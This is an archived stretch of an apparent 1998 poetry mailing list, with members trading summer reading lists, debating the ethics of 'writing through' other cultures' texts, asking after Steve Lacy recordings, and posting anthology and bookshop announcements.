20 issues of the in-house journal of the Kootenay School of Writing, spanning the years 1983-1992 & including the work of Belle Auld, Bruce Andrews, Susan Andrews, Marian Penner Bancroft, Lesley Battler, Michel Beaulieu, Beau Beausoleil, Tom Beckett, Dodie Bellamy, Steve Benson, Charles Bernstein, Carolyn Borsman, David Bromige, Nicole Brossard, Colin Browne, Paul Buck, Basil Bunting, Gerald Burns, John Byrum, Lucius Cabins, Louis Cabri, Richard Caddel, Jacqueline Cameron, Barbara Carey, Abigail Child, Lesley Choyce, Margaret Christakos, Robert Christian, Hilary Clark, Thomas A. Clark, Norma Cole, Gregory M. Cook, Gerald Creede, Peter Culley, Frank Davey, Daniel Davidson, Michael Davidson, Alan Davies, Kevin Davies, Christine Davis, Jean Day, Jeff Derksen, Christopher Dewdney, Ray Dialma, Stacy Doris, Lise Downe, Stan Dragland, Meryl Duprey, Bob Eddy, Barbara Einzig, Susan Eisenberg, Clayton Eshleman, Jerry Estrin, Dan Farrell, Deanna Ferguson, Ray Filip, Steven Forth, Cecilia Frey, Benjamin Friedlander, William Fuller, Maxine Gadd, Peter Ganick, Michel Gay, Jeff George, David Gilbert, Gerry Gilbert, Leona Gom, Michael Gottlieb, Nelson Gray, Paul Green, Jessica Grim, Phil Hall, Alan Halsey, John Harris, Jeanne Harrison, Carla Harryman, Diana Hartog, Ernst Havemann, Terrence Heath, Lyn Hejinian, Gladys Hindmarch, Bernard Hobby, Margaret Hollingsworth, Kathryn Hughes, Alexander Hutchison, Ictus, P. Inman, Paulette Jiles, Susan Kealey, Patty Kelly, Kevin Killian, Lucille King-Edwards, August Kleinzahler, Zoë Landale, Peter Larkin, Ross Leckie, Andrew Levy, Tim Lilburn, Susanne de Lotbiniere-Harwood, Dorothy Trujillo Lusk, Tom Mandel, Steve McCaffery, Brent McKay, Barry McKinnon, Karen Mac Cormack, Kathryn MacLeod, Daphne Marlatt, John Marshall, Sid Marty, David Melnick, Robert Mittenthal, Laura Moriarty, Erin Mouré, Melanie Neilson, Amy Nestor, John Newlove, bp Nichol, Ken Norris, Geoffrey O'Brian, Erin O'Brien, Michael Ondaatje, Jena Osman, Maggie O'Sullivan, Michael Palmer, Bob Perelman, Larry Price, Meredith Quartermain, Garry Raddysh, Brent Raycroft, Tom Raworth, Clemens Rettich, Norbert Reubsaat, Kevin Roberts, Lisa Robertson, Kit Robinson, Stephen Rodefer, Norbert Ruebsaat, Tony Ruzza, DR Schermerhorn, Gail

Scott, Spencer Selby, Nancy Shaw, Timothy Shay, Gail Sher, Sandy Shreve, Ron Silliman, Joseph Simas, John Skelton, Rod Smith, Judy Smith, Karl Spreitz, Claire Stannard, Clemens Starck, Julia Steele, David Sternbach, Catriona Strang, David Levi Strauss, Fiona Templeton, Sharon Thesen, Audrey Thomas, Lary Timewell, Henry Tsang, Sean Virgo, Fred Wah, Mark Waid, Diane Ward, Charles Watts, Tom Wayman, Hannah Weiner, Howard White, Gary Whitehead, Eric Wirth, Lissa Wolsak, Kelly Wood, Caroline Hendrika Woodward, Rachel Wyatt, and Susan Yarrow. All for only:

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Vancouver, B.C. Canada
V6G 1B8

↑ Index

889. Alan J.J.N. Sondheim
Re: summerer
Wed 24 Jun 1998

I am reading what I am planning to read; the two are coterminal. There's a difference between planning and +planning+ and the latter is considerably larger; I'll try to give hourly updates. Alan.

On Wed, 24 Jun 1998, George Bowering wrote:

> *I notice that most answerers tell us what they plan to read, not what they are reading. Maybe we could do that on writing, too. I plan, for instance, to write a penetrating essay on every work of Samuel Beckett.*
>
> *George Bowering.*
>
> *,*
>
> *2499 West 37th Ave.,*
> *Vancouver, B.C.,*
> *Canada V6M 1P4*
>
> *fax:* [redacted]

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890. **Matt Kirschenbaum**
Re: summerer
Thu 25 Jun 1998

On plans:

"Don't brood over how you may have behaved last night. If you Can't remember much about it, don't ask anyone else about it Except a little, in case you were wonderful in your abandon."

-- Alice Notley, "The Prophet"

This summer I am reading or planning to read:

-- the course-pak from Johanna Drucker's Modern Art and Design seminar.

-- Rem Koolhaus, _S, M, L, XL_.

-- Joe Viscomi's _Blake and the Idea of the Book_.

-- Manuel Castells, _The Rise of the Network Society_ (first volume of a trilogy on _The Information Age: Economoy, Society, Culture_).

-- Killian and Ellingham's _Poet Be Like God_.

-- Michael Joyce's new one, _Twilight: a Symphony_.

Matt

↑ Index

891. **Tosh**
Re: summerer
Thu 25 Jun 1998

I just finished reading a biography on Serge Gainsbourg by Alan Clayson,(so-so) and I am currently reading a biography on Johnnie Ray entitled "Cry." Also I am putting the final touches to the manuscript of Gainsbourg's only novel "Evguénie Sokolov," which I am publishing this summer. Also working on Boris Vian's I SPIT ON YOUR GRAVES. That too should be out this summer. And oh yeah, I am working full-time day job too. Hmmm.

Tosh Berman
TamTam Books

↑ Index

892. **k.a. hehir**
Re: summerer
Thu 25 Jun 1998

---

hey george,
i have a pretty good bibliography on beckett and dante.

still,
kevin

----------|	the status quo of the weird is not a real minority		but just the dominant culture making love to itself		Daniel Harris

↑ Index

893. **k.a. hehir**
Re: summerer
Thu 25 Jun 1998

---

george, again,

unless (of course) i've beem had.

a year off of the list(in prism) makes one ask

still , kevin |----------| | the status quo of the weird is not a real minority | | but just the dominant culture making love to itself | | Daniel Harris |
|----------|

↑ Index

894. **Anthony Lawrence**
Re: Simon Armitage
Thu 25 Jun 1998

> *I'm trying to get ahold of Simon Armitage's _Zoom_, published 1990; does anybody know where I might find a copy?*

Simon,

Bloodaxe have done three printings of Zoom to my knowledge - the copy I have was published in 1994, so it should be available:

Bloodaxe Books
P.O. Box ISN
Newcastle upon Tyne NE99 ISN

Good luck, it's a great book.

Best,

Anthony

.....
Anthony Lawrence
PO Box 75
Sandy Bay
Tasmania 7006

↑ Index

895. **Anthony Lawrence**
CloudCuckooLand
Thu 25 Jun 1998

> *Does anybody have any comments on his work? A friend of mine gave me a copy of the latest _Verse_ which has some of Armitage's work in it, and I was quite impressed*

Simon,

CloudCuckooland, (Faber) Armitage's latest book, might interest you. He's mapped the sky in a long sequence of short, lyrical poems that take individual stars, constellations and their names, and give them new light. The book starts with four or five typically quirky longer poems, and ends with a brilliant verse-play involving a group of teenagers during a total eclipse.

Best,

Anthony

.....
Anthony Lawrence
PO Box 75
Sandy Bay
Tasmania 7006

↑ Index

896. **Susan Wheeler**
Books +
Thu 25 Jun 1998

A question for you listites: what are instances of writing "out of" (however you would see this) a culture other than one's own which seem to you to WORK, ethically as well as aesthetically, or do you see this inevitably as an impossible task?

Yesterday I finished Wesley Brown's Tragic Magic, his first novel and a singing one it is. (Also aggregiously OOP, if any publishers are trolling for worthy.) And just before that Ron Padgett's Creative Reading, which is terrific. In the pile: 45 journals that have wung in since I last had a chance to make a dent in it, Bunting's Collected, Aidoo's No Sweetness Here, notebooks of GM Hopkins, letters of JC Ransom, Lavinia Greenlaw's A World Where News Travelled Slowly, Goran Simic's Sprinting from the Graveyard, The Voice Imitator by Thomas Bernhard, Joseph Lease's Human Rights, Gasparov's History of European Versification, new Millenium, Longenbach's Poetry After Modernism.

Any of you New Yorkers been to see the OHara Ashbery and L Hughes plays on at the Medicine Show?

And Maria: did GC do "If you cannot get it on take your dead ass home"?
Susan Wheeler
[redacted]
voice/fax [redacted]

↑ Index

897. **rsillima**
Steve Lacy Question
Thu 25 Jun 1998

Speaking of Steve Lacy, does anybody know where I can get either a tape or a CD of Sidelines, his work with pianist Michael Smith of about 20 years ago? Neither CDNow or any of the Lacy websites seem to have it available. It was, as I recall, transcendant.

Ron Silliman

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898. **John Kimball**
The East Village, Volume Two
Thu 25 Jun 1998

The East Village Poetry Web

Volume Two

___ Tony Towle [7 Poems]
___ Ryan Whyte [8 Poems] [6 Images]
___ Chong Lau [4 Images with Calligraphy]
___ Carrie Etter [Alaskan]
___ Gary Sullivan [70 Lines from the Chinese]
___ Alex Katz [3 Images]

___ Betsy Andrews [Cocktails at 8]
___ Peter Ganick [7 Poems]
___ Yayoi Kusama [2 Image Sets]
___ John Tranter [4 Haibun]
___ Jonas Persson [2 Images]
___ Cid Corman [No Telling]
___ Billy Little [3 Poems]
___ Bob Arnold [Bobolink]
___ Shuko Miyatake [Bobolink: Translated into Japanese]
___ Elizabeth Weinberg [2 Images]

Audio
Files

___ Cid Corman [Reading and Responding to William Bronk] [No Telling] ___ Meiwa Denki [Hariseng-Bomb]

Web
Textcraft

___ Jean-Paul Tremblay [Skin]
___ Joey Nelson [2 Images]
___ Chris Najewicz [Paranoid Polaroid]
___ Jack Kimball [3 Images]
___ Simon Medisch [Blur]

Access at <http://theeastvillage.org>

or in Japan at <http://interserver.miyazaki-med.ac.jp/~east/village.htm>

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899. Michael Magee
Re: Steve Lacy Question
Thu 25 Jun 1998

Ron, don't know the answer to your question but figured I'd recommend to all another wonderful Lacy album, *Reflections*, consisting of all Monk tunes, with Mal Waldron & Elvin Jones. Great stuff. -m.

According to
[redacted]: >
> Speaking of Steve Lacy, does anybody know where I can get either a tape or a
> CD of Sidelines, his work with pianist Michael Smith of about 20 years ago?
> Neither CDNow or any of the Lacy websites seem to have it available. It was,
> as I recall, transcendant.

>
> Ron Silliman
>

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900. Don Cheney
The emotional scoreboard at Wimbledon
Thu 25 Jun 1998

The emotional scoreboard at Wimbledon, courtesy of ESPN2's updates at the bottom of the screen during Paraguay vs. Nigeria:

"(2)Rios, (15)Kucera upset, (4)Rusedski withdrawn."

==========
Visit Don Cheney's Home Page & Clean Neck Shop
http://www.geocities.com/Paris/5791
==========

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901. Nada Gordon
Re: Books +
Thu 25 Jun 1998

Susan Wheeler wrote:

> *A question for you listites: what are instances of writing "out of" (however you would see this) a culture other than one's own which seem to you to WORK, ethically as well as aesthetically, or do you see this inevitably as an impossible task?*

this fish had to bite

so many questions --

how does one know for sure what *one's own culture* is?

what is culture?

what is a culture?

what is the exact border between *own culture* and *other culture*?

some say men and women inhabit different cultures --
by extension, maybe everyone has his/her own culture?

how long does one live in an other culture before it becomes own culture? does it take generations? if so how many?

if you are an american, say fifth generation, and the culture you grew up in is different from the one your parents grew up in which is different from the one their parents grew up in, what's your culture then? and wouldn't it make some difference if you were alabaman or alaskan, appalachian or a new yorker? what is american culture? today my students asked me if i had a gun when i lived in america. i said i'd only seen one outside of a shop once. anyway that's their concept of american culture.

if culture is like mold or yeast and grows on/in you what does that say about otherness?

influence is so strong a force, imagine living somewhere for a long time and your pronunciation of your mother tongue changes. your vocabulary changes. you forget idioms, especially prepositions. someone asks you if you are indeed a native speaker of your language, you speak so haltingly...your attiudes change. . . your gestures... the tv shows you watch and the food you eat...then what's your culture? and what would be so impossible or unethical a task about writing out of or into or through or beside or behind or between the cultures that inhabit you?

I just read Daisy Bates in the Desert; A Woman's Life Among the Aborigines

It's by Julia Blackburn, not Daisy Bates. I think it "works."

The writings of Lafcadio Hearn do not throw me into fits of political or aesthetic indignance.

I think I could probably think of more, lots more. And it occurs to me that so many writers work from such a defamiliarized anthropologist-on-mars state that even "one's own" culture becomes most deliberately otherized.

nada

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902. **Henry G**
Re: Books +
Thu 25 Jun 1998

On Thu, 25 Jun 1998 07:05:46 -0400 Susan Wheeler said:
>A question for you listites: what are instances of writing "out of" (however
>you would see this) a culture other than one's own which seem to you to
>WORK, ethically as well as aesthetically, or do you see this inevitably as
>an impossible task?

As an aspiring byt poet, I learned from the Russians what a stanza is for.
A lot of American poets don't know or care.
- Henry G.

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903. daniel bouchard
a stanz a (for henry
Thu 25 Jun 1998

I never been outside America,
I never studied Pushkin before;
Yet I know there are Bees on Siberian plains,
And what a stanza's for.

(from a discarded draft of Emily Dickinson)

Henry, what's that there stanza for?

- daniel bouchard

At 10:20 AM 6/25/98 EDT, Henry G wrote:
>As an aspiring byt poet, I learned from the Russians what a stanza is for.
>A lot of American poets don't know or care.
>- Henry G.
>

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904. DANIEL L. COLLIER
Byefornow, Summer Reading, Thanks
Thu 25 Jun 1998

Listichki,

I have quit my job <cheers all around> and am headed East. (I will receive Poetics through the Monday digest.) Stops will include Irkutsk, Ulan Ude, Vladivostok, Ternei, Khabarosk, San Francisco (August 19), Los Angeles, and a long string of unknowns ending in DC at a friend's wedding party on September 19. If anyone knows how to make the LA to DC run cheaply while still seeing the countryside on the way, let me know.

Summer reading: Right now I'm reading Vineland and Danil Kharms. I'll be hauling the Rothenberg/Jorris anthology the whole way, and I plan to get it autographed by any throat singers I encounter. I'll also bring my book of Akvarium lyrics so I can continue to osmose Russian. Chuki chuki, banana puki.

Thanks to the whole list for entertaining me in my secretarial chair. Thanks especially to Henry G., Alan Sondheim and Miekal And for their responses to various queries.

Don't get in any juicy arguments while I'm gone.

Danny
[redacted]
http://www.digitalfunk.com/Akvarium

↑ Index

905. **Simon DeDeo**
Re: CloudCuckooLand
Thu 25 Jun 1998

Anthony --

Thanks for your response on Armitage; _CloudCuckooLand_ sounds like an interesting venture indeed -- the few selections of Armitage I've seen so far have all were on a similar theme (getting out in a boat and hauling in fish). Perhaps this is his M.O. when stealing into new (?) territory -- turning something over and over, watching the shadows.

I'll try to reach the Bloodaxe folks in the UK, although it might be a better shot to wait until I get there in person later this year. Does anybody have any suggestions for a reading list for the London scenes? I'm hoping to make a stop down at the Poet's Cafe sometime in late August.

-- Simon

http://www.fas.harvard.edu/~sdedeo/localpapers.html
[redacted]

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906. **Brent Long**
Re: a stanz a (for henry
Thu 25 Jun 1998

I myself would be interested in hearing what Daniel thinks a stanza is for...

At 10:37 AM 6/25/98 -0400, you wrote:
>I never been outside America,
>I never studied Pushkin before;
>Yet I know there are Bees on Siberian plains,
>And what a stanza's for.
>
>(from a discarded draft of Emily Dickinson)
>
>Henry, what's that there stanza for?

>
>- daniel bouchard
>
>
>At 10:20 AM 6/25/98 EDT, Henry G wrote:
>>As an aspiring byt poet, I learned from the Russians what a stanza is for.
>>A lot of American poets don't know or care.
>>- Henry G.
>>
>
>
[redacted]

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907. **Mark Prejsnar**
writing thru to multicult ethix?
Thu 25 Jun 1998

On Thu, 25 Jun 1998, Susan Wheeler wrote:

> *A question for you listites: what are instances of writing "out of" (however you would see this) a culture other than one's own which seem to you to WORK, ethically as well as aesthetically, or do you see this inevitably as an impossible task?*

Susan, i find this a fascinating question....What really intrigues me is the question of **what is one's own culture**;.....and what isn't.

*and i note with some fascination that you lean toward the possibility that such writing-out-of would be unethical, even as you frame the question...

*There are a lot of variables regarding class, gender,
period...Even when one is staying "within" "one's own" culture!

*For instance i have been reading The Pirates of Pen's Chance; after one of it's authors (D. Barbour) mentioned it on the list i secured it for a month on interlibrary loan. It is by the way one of the most astonishing books of poetry i've ever encountered, and it's a shame it is OOP and very obscure and rare (in this country).

*But, are the poets in that book, contemporaries of ours, part of the same culture as some of the texts they write through (SHakespear, Stein, dylan's "LIke a Rolling Stone")? In what sense is one part of the same culture, if the experiencial matrix informing the work is perhaps very distant...?

*(i don't recall if the Pirates write thru anything that could be called "non-western"..and the book is at home right now; maybe Douglas could remind me about that..)

*Is there going to be something **unethical** if i "write thru" a text which is (oh i don't know) a transcribed Yoruba ceremonial song, which wouldn't be unethical if i wrote thru a poem from Bag O'Diamonds, because in the latter case i somehow (supposedly) inhabit "the same culture" as the source text??

*These may sound like rhetorical questions, the way i'm saying them; but while i also *lean* in a certain direction, i really don't think i have a solid anser, yet.

*Maybe part of what i'm getting at is: there is
something *inherently* "exploitative" about writing thru.

*Unlike most presentations of another culture (in an anthropology textbook, in a museum exhibit, in a lecture) writing thru strategies do not claim to be representing an other with authenticity, respect, accuracy. Quite the opposite!

*Yes OK, there is often a strong element of respect, even homage...cf. about half of the Pirates book, rooted in Stein source texts; but even this "respect" element is not always present..and certainly "authenticity" never is!

*But is it true that not understanding someone else, will lead to a degree of travesty that could be racist or xenophobic, in some way, even given the peculiar angle at which one writes thru (or out of, as you put it)?? Yes i think likely so.

*But when the great ethnopoetic texts, the Rothenberg et al. anthologies, starting with America a Prophecy, present non-western works, it is well to keep in mind that due to aspects of translation, presentation, selection and context (and decontextualization vis-a-vis the text's original life-space) much is being if not distorted exactly then...reimagined.

*All in all, i return in my own mind to the point i've made above: that "writing thru" is a devious and peculiar strategm to begin with. And i'm not sure to what extent one is violating a chinese or nigerian (or gay or african-american) text, more than one is a white straight male euro text, by subjecting it to one's own underhanded agenda....

mark
@lanta

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908. **henry**
Re: a stanz a (for henry
Thu 25 Jun 1998

On Thu, 25 Jun 1998 10:37:44 -0400 daniel bouchard said:
>I never been outside America,
>I never studied Pushkin before;
>Yet I know there are Bees on Siberian plains,
>And what a stanza's for.
>
>(from a discarded draft of Emily Dickinson)
>
>Henry, what's that there stanza for?

Well, this gets to one of the prime secrets of da craft - I'm hesitatin' to divulge to youse guys & gals! Plus I juss writ a mini-essay on it an I doan wanna spill da beans juss yet! Ey, I only got 26 cards ta play wid anyways, I gotta consoive my hand!

Lemme juss say dis. Emily, as I awready said inda essay, is ona da few that takes a stanza where it wanna go. But I loin it frum da Rooskies cause it so crystal clear an simple, say in dem Voronezh poems a Mandelstam which I been readin again lately.

So hey I ain't gonna give it away free today - but see if youse can figure it out from dis - it ain't a poem, juss an example of sompin -

Cicadas were stretching their legs in the summer shade.
Out on the baking highway, flat and straight,
it was a sort of droning curve I heard

off there in the distance out of sight -
a steady modulation they made
over the bend of the horizon - part

of night torn off, hiding in the wood.
The highway rolled along (one way station right
after another). Cicadas boomeranging in my head.

- Henry G.

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909. **Mark Weiss**
Re: writing thru to multicult ethix?
Thu 25 Jun 1998

> **All in all, i return in my own mind to the point i've made above: that "writing thru" is a devious and peculiar strategm to begin with. And i'm not sure to what extent one is violating a chinese or nigerian (or gay or african-american) text, more than one is a white straight male euro text, by subjecting it to one's own underhanded agenda....*
>
> *mark*
> *@lanta*

Mark: It seems to me that the difference lies in the power relationship. No matter how badly I mangle the Philadelphia Mainline crowd by writing through an imagined protagonist I do very little damage to that not terribly vulnerable crowd. If my protagonist lives in a trailer park the potential damage is much greater.

That said, I recommend always Jaime de Angulo's _Indian Tales_.

Do Indians (the other kind) read Rudyard Kipling?

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910. **R I Caddel**
OTHER - Advance Notice
Thu 25 Jun 1998

OTHER
British and Irish Poetry since 1970
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The most significant US anthology of innovative poetries from the UK and Ireland in over 25 years.

When most Americans think of contemporary British poetry, they think of such mainstream poets as Ted Hughes, Philip Larkin, and Geoffrey Hill. Yet there is a vibrant, diverse alternative poetry movement in the UK, inspired in large measure by the work of such significant mentors as Basil Bunting and J. H. Prynne. There is growing interest in this work in the United States--as alternative American poetries express increasingly transnational concerns--and yet almost none of it is available here.

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"In the past two decades, British and Irish poetry have undergone a silent revolution. While the mainstream media present us with a 'Britain' still writing poetry under the sign of Philip Larkin or Ted Hughes, a number of strong oppositional voices have emerged, voices committed to a radical rethinking of the 'Movement' and its tepid aftermath. Rick Caddel and Peter Quartermain have produced an excellent anthology of this breakthrough poetry. No one interested in the 'turn' of poetry in the late twentieth century will want to miss it."--Marjorie Perloff

"Caddel and Quartermain have gathered an intellectually and aesthetically challenging kaleidoscope of poems--fundamental information for anyone interested in contemporary writing. OTHER is the best anthology of British and Irish poetry now available."--Charles Bernstein

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RICHARD CADDEL is a Director of the Basil Bunting Poetry Centre, University of Durham, editor of Pig Press, author of three collections of poetry including Larksong Signal (1997), and editor of Basil Bunting: Complete Poems (1994). PETER QUARTERMAIN is Professor of English, University of British Columbia, author of Disjunctive Politics: From Gertrude Stein and Louis Zukofsky to Susan Howe (1992) and Basil Bunting: Poet of the North (1990), and editor of Dictionary of Literary Biography: American Poets, 18801945 (1986).

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Other Countries: $5.50 first book, $2.00 each additional book.
(Canadian customers must add 7% GST.)

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911. Mark Prejsnar
Re: writing thru to multicult ethix?
Thu 25 Jun 1998

On Thu, 25 Jun 1998, Mark Weiss wrote:

> *Mark: It seems to me that the difference lies in the power relationship. No matter how badly I mangle the Philadelphia Mainline crowd by writing through an imagined protagonist I do very little damage to that not terribly vulnerable crowd. If my protagonist lives in a trailer park the potential damage is much greater.*

I still don't see it.....Your reply doesn't really address the points i was making at all (of course, that's probably 'cause you don't think there's much *to* them, and there may be something in that..)

*If you write thru a text by someone in a trailer park, are you mangling them?? Or, can you mangle them???

*See, this is my whole point (and i believe it's a fascinating and important one, and credit to susan for raising it):....Just what are you **doing** to someone by responding in this way to their text? Is it "their" text?? Is it *part of them*...Which i think is a commonsense point-of-view much held by all kinds of people, about texts and other intellectual/artistic productions...It sounds to me like you feel the text is *part of* the person living in the trailer park. It would have to be, perhaps, in order for you to *hurt them* thru it...Sounds a little like the use of nail clippings and hair, to cast an injurious spell on someone.

*Your point about relations of power, is well taken; but was sort of implicit in my first post. That's why i brought up things like museum or textbook depictions of other cultures...Is a poem "written out of" a non-western text *exactly* like a museum exhibit, that can easily be denigrating and insulting if it misrepresents another people's culture?

*Of course, your example seems ("imagined protagonist") more about just locating a fictional story or persona in another culture...i took writing out of, in susan's term, to mean "writing thru". If (as i so often do) i totally misunderstood the thrust of her quesiton, i apologize. But will take back the praise i've directed at her, and award it to myself. Since the topic i've been addressing is, as i say, somewhat interesting and important.

*at least, to me

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912. **charssmith**
Re: writing thru to multicult ethix?
Thu 25 Jun 1998

In a message dated 98-06-25 13:21:38 EDT, you write:

<< That said, I recommend always Jaime de Angulo's _Indian Tales_. >>

& as "*essential*" companion piece, "Indians in Overalls"

--cs

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913. **charssmith**
Re: Steve Lacy Question -- & recent reads
Thu 25 Jun 1998

Ron,

Sidelines was released by Improvising Artist's, Inc (IAI 37.38.47) in 1977. Are they around anymore? I've never seen any of their stuff on cd. It's a marvelous duet. Backchannel if you'd like a copy -- pops & all.

Transcendant???

btw, there's a RealAudio performance/interview with Steve Lacy at:

http://www.kcrw.org/g/index.html

recent reads:
just finished Peter Gizzi's _Artificial Heart_ -- a coupla pieces in there are real knockouts.

Dee Morris' _Sound States_

Lisa Cooper's great little (jazzlistening) poem from Chax: _Tilt Rail_ ("the name of this song is the name of this song") -- & too, Tenney Nathnason's _One Block Over_ grabbed my attention & wants a second look ("imaginary gardens with real poems in them")

rereading w/ astonishment, after losing my mother in April, Hilda Morley's _What Are Winds & What Are Waters_ & Tom Mandel's _Prospect Of Release_

Ben Hollander: _The Book Of Who Are Was_
Peter Cole: _Hymns & Qualms_
browsing the new Talisman New (Am) Poets
Harry Duncan: _Doors Of Perception_
Raddle Moon 16

Charles Smith

In a message dated 98-06-25 07:12:30 EDT, you write:

<< Speaking of Steve Lacy, does anybody know where I can get either a tape or a CD of Sidelines, his work with pianist Michael Smith of about 20 years ago? Neither CDNow or any of the Lacy websites seem to have it available. It was, as I recall, transcendant.

Ron Silliman >>

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914. **Simon DeDeo**

Re: writing thru to multicult ethix?

Thu 25 Jun 1998

> *On Thu, 25 Jun 1998, Mark Weiss wrote:*
> *Mark: It seems to me that the difference lies in the power relationship. No matter how badly I mangle the Philadelphia Mainline crowd by writing through an imagined protagonist I do very little damage to that not terribly vulnerable crowd. If my protagonist lives in a trailer park the potential damage is much greater.*

Dave Brubeck catches (or caught) a lot of flack from a lot of people when he performed Jazz music with a "classical" (Western) style. I'm not sure if the critical apparatus was in sufficiently high gear (heh) to start talking about the ethics at the time, but there were certainly very angry reactions that based their objections on aesthetic grounds.

There's something false about "writing through" ("roitin' chrew"?) when it's done poorly. I think the vague sense of ethical objection that arises when you read it comes from memories of blackface comics and various other parodies and from the sinister "compliments" paid to various races that their culture embodies this or that particular quality better than others. Whether these elements are actually present in a work can be up for debate, but it's kind of like using "liebenstraum" without an understanding of its historical context. Most of the poorly done "writing throughs" I know are pathetically well intentioned.

It doesn't have to be done poorly, though. I'm not sure if it counts, but the first work that sprang to mind when this thread came up was Berryman's _Dream Songs_, which I think hit pretty close to the nerve center of a lot of Americans in their use of black language and jargon.

What about the Haiku?

-- Simon

http://www.fas.harvard.edu/~sdedeo/localpapers.html

[redacted]

[redacted]

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915. aerialedge

New @ Bridge Street, Spicer bio, Bellamy, Luoma, Mayer, Notley, Palmer, Perloff.

Thu 25 Jun 1998

Spicer bio! I say I say Spicer bio! Ordering & discount information at the end of the list. Thanks again, poetics, for your support.

1. _A Geometry_, Anne-Marie Albiach, Burning Deck, $5. "turned / pale and broke this kind of logic"

2. _To Repel Ghosts_, Tim Atkins, Like Books, $5. "I'm taking homeopathic pills for hypochondriacs as language & lost me my bones for trying to without them."

3. _Four Black Revolutionary Plays_, Amiri Baraka, Marion Boyars Publishers, $11.95. The plays "Experimental Death Unit 1," "A Black Mass," "Madheart," and "Great Goodness of Life." "JACOUB: (_turns to other magicians_) I know that we are moving at thousands of miles an hour. In endless space. In black endless space. But I also know that we must find out everything."

4. _The Letters of Mina Harker_, Dodie Bellamy, Hard Press, $13.95. "Black marker on the zen bakery's bathroom wall: GENDER IS THE NIGHT."

5. _Last Words_, Guy Bennett, Sun & Moon, $9.95. "an accident venom / with latex fretted centers / yields permissible props"

6. _Chicago Review Vol 43, No. 4_: Contemporary Poetry & Poetics, ed Andrew Rathman & Devin Johnston, $6. Baraka, Carson, Duncan, Golding, Halliday, Heller, Hillman, Hoover, Howe, Jordan, Lu, Mahon, Rasula, Shoptaw, Spicer bio excerpt, Tuma.

7. _The Secret Art of Antonin Artaud_, Jacques Derrida & Paul Thevenin, MIT, $25.
"Here true competence belongs to the literality of glossolalia."

8. _Poet Be Like God: Jack Spicer and the San Francisco Renaissance_, Lew Ellingham and Kevin Killian, Wesleyan, $35. Long-awaited & ho-boy-o-boy. "Here is the life every aspiring poet _must_ know if she or he would risk self and soul in the mills of American art." --Samuel Delany

9. _Explosive Magazine: Spectacular Emotion_, ed. Katy Lederer, $6. Ishmael Klein, Emily Wilson, Martin Corless-Smith, D.A. Powell, Pamela Lu, Tan Lin, & an Alex Cory cassette.

10. _Aesthetics, Method, & Epistemology: The Essential Works of Michel Foucault Vol. 2_ , ed. James D. Faubion, New Press, $30. "Negligence is the necessary correlate of attraction. The relations between them are complex."

11. _Ethics, Subjectivity, & Truth: The Essential Works of Michel Foucault Vol. 1, New Press, pb. $18.95. "The pain and pleasure of the book is to be an experience."

12. _Foucault and His Interlocutors_, ed. Arnold I. Davidson, U. Chicago, $17.95. Foucault, Canguilhem, Chaomsky, Deleuze, Derrida, Hadot, Serres, & Veyne.

13. _Science & Steepleflower_, Forrest Gander, New Directions, $12.95. "You made me to lie down in a peri-Gondanan back-arc basin."

14. _Giscombe Road_, C.S. Giscombe, Dalkey Archive, $10.95. "that trill to it, an osmotic line, jagged & minute & strange / no word for the way blood will tell, the edge"

15. _My Futurist Years_, Roman Jakobson, Marsilio, $19.95. Memoir, letters, essays, poems, & prose. "So everything went remarkably well. I immediately landed in a scholarly milieu."

16. _Works & Days_, Bill Luoma, The Figures, $15. "After I got off the ferry, I bought a national league ball and walked up Broadway. I bit the seams when suits walked by. This raises them up and makes it easier to throw curves."

17. _Another Smashed Pinecone_, Bernadette Mayer, United Artists, $10. "Orbed at the world, a globular tube / That floats a ball away by wind at tiny sea / Two times backest to the shore my love / Happened this difference through our globe"

18. _Mysteries of Small Houses_, Alice Notley, Penguin, $14.95. "What's the name of the larger island? / Why am I still on the smaller one? / I'm not a story or life: if I / say that, I'm suddenly here / terror in this real poem"

19. _The Lion Bridge: Selected Poems 1972-1995_, Michael Palmer, New Directions, $18.95. Palmer's selection from seven of his books, 260 pages. "I will read a few of these to see if they exist / (We will translate logos as logos)"

20. _Poetry On & Off the Page: Essays for Emergent Occasions_, Marjorie Perloff, Northwestern, $19.95. Commited to the notion that, in John Ashbery's words, "You can't say it that way anymore," Perloff describes the formations and transformations of literary and artistic discourses in an aesthetic climate increasingly shaped by interdisciplinary concerns. Artists and theorists addressed in these essays include, Loy, Duncan, Levertiv, Hejinian, Barthes, McCaffery, Cage, and Viola.

21. _Revolution of the Word: A New Gathering of American Avant Garde Poetry 1914-1945, ed. Jerome Rothenberg, Exact Change, $15.95. Reprint of one of the many seminal Rothenberg anthologies. Arensberg, Brow, Crane, Crosby, cummings, H.D., Duchamp, Duncan, Eliot, Fearing, Ford, Freytag-Loringhoven, Gillespie, Hartley, Jolas, Lowenfels, Loy, Mac Low, Moore, Olson, Oppen, Patchen, Pound, Rexroth, Reznikoff, Riding, Sandburg, Stein, Stevens, Williams, Zukofsky.

22. _The Book of Tendons_, Eleni Sikelianos, Post-Apollo, $7. "did he meant to mean I want Europe / more than I want you---?"

23. _Talking About a Revolution_ , ed South End Press Collective, $14. Interviews with Michael Albert, Noam Chomsky, Barbara Ehrenreich, bell hooks, Peter Kwong, Winona LaDuke, Manning Marable, Urvashi Vaid, & Howard Zinn. Talking about a revolution.

24. _Noon_, Cole Swensen, Sun & Moon, $10.95. Winner of the New American Poetry Competition selected by Rae Armantrout. "I remember only the parts that begin."

Some Bestsellers:
Wakefulness, John Ashbery, FSG, $20.
Close Listening: Poetry and the Performed Word, Charles Bernstein ed., Oxford, $24.95.
Life & Death, Robert Creeley, New Directions, $19.95.
An Anthology of New (American) Poets, Lisa Jarnot, Leonard Schwartz, and Chris Stroffolino ed, Talisman, $21.95.
An Anthology of New (American) Poets, Lisa Jarnot, Leonard Schwartz, and Chris Stroffolino ed, Talisman, $21.95.
Moving Borders: Three Decades of Innovative Writing by Women, ed. Mary Margaret Sloan, Talisman, $27.95.
Free Space Comix, Brian Kim Steffans, Roof, $9.95.
Tripwire: a journal of poetics, ed Yedda Morrison & David Buuck, $6.
Sound States: Innovative Poetics and Acoustic Technologies, ed A. Morris, $24.95.
_I-VI_, John Cage, $24.95.
Crayon Premier Issue: Jackson Mac Low Festschrift, $20
Guy Debord--Revolutionary: A Critical Biography, Len Bracken, $14.95.
Raddle Moon 16: 22 New French Writers, $10.
Chloroform #1, $10.
Perhaps this is a rescue fantasy, Heather Fuller, $10.
Nothing Happened and Besides I Wasn't There, Mark Wallace, $9.50.
Collected Prose, Charles Olson, $19.95.

